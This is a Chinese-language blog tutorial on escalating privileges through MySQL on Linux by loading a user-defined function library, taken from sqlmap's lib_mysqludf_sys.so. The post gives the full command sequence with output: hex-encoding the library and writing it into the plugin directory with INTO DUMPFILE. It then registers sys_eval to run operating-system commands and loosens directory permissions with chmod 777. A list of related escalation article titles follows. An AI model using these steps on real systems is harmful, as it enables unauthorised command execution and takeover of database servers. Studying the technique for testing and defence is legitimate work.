Linux利用UDF庫實現Mysql提權
環境:
os:linux(bt5)
database:mysql
簡述:
透過自定義庫函式來實現執行任意的程式,這裡只在linux下測試透過,具體到windows,所用的dll自然不同。
要求:
在mysql庫下必須有func表,並且在‑‑skip‑grant‑tables開啟的情況下,UDF會被禁止;
過程: 得到外掛庫路徑 找對應作業系統的udf庫檔案 利用udf庫檔案載入函式並執行命令
1,得到外掛庫路徑
?
1234567 |
mysql> show variables like "%plugin%" ; +---------------+-----------------------+ | Variable_name | Value | +---------------+-----------------------+ | plugin_dir | /usr/lib/mysql/plugin | +---------------+-----------------------+ 1 row in set (0.00 sec)
|
2,找對應作業系統的udf庫檔案
因為自己測試,看了下自己系統的版本,64位
?
12 |
root@bt:~ # uname -a Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
|
對於udf檔案,在sqlmap工具中自帶就有,只要找對應作業系統的版本即可
?
123456 |
root@bt: /pentest/database/sqlmap/udf/mysql # ls linux windows root@bt: /pentest/database/sqlmap/udf/mysql/linux # ls 32 64 root@bt: /pentest/database/sqlmap/udf/mysql/linux/64 # ls lib_mysqludf_sys.so
|
3,利用udf庫檔案載入函式並執行命令
首先要得到udf庫檔案的十六進位制格式,可在本地透過
?
12 |
mysql> select hex(load_file( '/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so' )) into outfile '/tmp/udf.txt' ; Query OK, 1 row affected (0.04 sec)
|
因為我測試時,使用自帶賬戶,賬戶名mysql,並不是root,所以外掛目錄不可寫,而實際中,一般udf提權都是用root許可權啟動的mysql程式,故,不存在目錄許可權不足,不能訪問的情況。為了繼續,修改目錄許可權
root@bt:~# chmod 777 /usr/lib/mysql/plugin
資料庫中寫入udf庫到mysql庫目錄:
?
12 |
mysql> select unhex( '7F454C46020...' ) into dumpfile '/usr/lib/mysql/plugin/mysqludf.so' ; Query OK, 1 row affected (0.04 sec)
|
檢視下這個udf庫所支援的函式
?
123456789101112131415161718192021222324252627282930313233343536373839404142 |
root@bt:~ # nm -D /usr/lib/mysql/plugin/mysqludf.so w _Jv_RegisterClasses 0000000000201788 A __bss_start w __cxa_finalize w __gmon_start__ 0000000000201788 A _edata 0000000000201798 A _end 0000000000001178 T _fini 0000000000000ba0 T _init U fgets U fork U free U getenv 000000000000101a T lib_mysqludf_sys_info 0000000000000da4 T lib_mysqludf_sys_info_deinit 0000000000001047 T lib_mysqludf_sys_info_init U malloc U mmap U pclose U popen U realloc U setenv U strcpy U strncpy 0000000000000dac T sys_bineval 0000000000000dab T sys_bineval_deinit 0000000000000da8 T sys_bineval_init 0000000000000e46 T sys_eval 0000000000000da7 T sys_eval_deinit 0000000000000f2e T sys_eval_init 0000000000001066 T sys_exec 0000000000000da6 T sys_exec_deinit 0000000000000f57 T sys_exec_init 00000000000010f7 T sys_get 0000000000000da5 T sys_get_deinit 0000000000000fea T sys_get_init 000000000000107a T sys_set 00000000000010e8 T sys_set_deinit 0000000000000f80 T sys_set_init U sysconf U system U waitpid
|
最後,載入函式並執行:
?
123456789101112131415161718 |
mysql> create function sys_eval returns string soname "mysqludf.so" ; Query OK, 0 rows affected (0.14 sec) mysql> select sys_eval( 'whoami' ); +--------------------+ | sys_eval( 'whoami' ) | +--------------------+ | mysql | +--------------------+ 1 row in set (0.04 sec) mysql> select * from mysql.func; +----------+-----+-------------+----------+ | name | ret | dl | type | +----------+-----+-------------+----------+ | sys_eval | 0 | mysqludf.so | function | +----------+-----+-------------+----------+ 1 row in set
|
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/2768/viewspace-2804837/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Linux 提權-MySQL UDFLinuxMySql
- mysql UDF提權MySql
- MySQL UDF 提權初探MySql
- Linux提權————利用SUID提權LinuxUI
- Raven-2-WordPress-UDF提權
- Linux 提權-核心利用Linux
- 利用for命令提權
- 利用萬用字元進行Linux本地提權字元Linux
- Linux 提權Linux
- Linux提權Linux
- MySQL資料庫Root許可權MOF方法提權研究MySql資料庫
- Windows提權實戰——————3、PcAnyWhere提權WindowsPCA
- 修改軟連結實現提權
- Linux提權-70種sudo提權彙總Linux
- Linux 提權-CapabilitiesLinux
- linux sudo提權Linux
- Linux提權————Linux下三種不同方式的提權技巧Linux
- Linux 提權-LXD 容器Linux
- Linux 提權-Docker 容器LinuxDocker
- Linux 提權-NFS 共享LinuxNFS
- Linux 提權-Cron JobsLinux
- 提權系列(二)----Windows Service 伺服器提權之Mssql提權,GetPass提權,hash提權,LPK提權Windows伺服器SQL
- Windows提權實戰——————1、IIS6.exe提權實戰Windows
- Linux提權-許可權升級Linux
- mysql提權之mof詳解MySql
- 如何實現一個資料庫的 UDF?圖資料庫 NebulaGraph UDF 功能背後的設計與思考資料庫
- Java實現平滑加權輪詢演算法--降權和提權Java演算法
- Linux-SUID提權LinuxUI
- Linux 提權-Sudo_1Linux
- Linux 提權-Sudo_2Linux
- 利用Serv-u提權的簡單思路
- SparkSQL中的UDF、UDAF、UDTF實現SparkSQL
- 在Windows低許可權下利用服務進行提權Windows
- 利用python實現mysql資料庫向sqlserver的同步PythonMySql資料庫Server
- CVE-2014-0038核心漏洞原理與本地提權利用程式碼實現分析
- linux 普通使用者提權Linux
- Linux、Windows提權命令速記LinuxWindows
- Linux 提權-密碼搜尋Linux密碼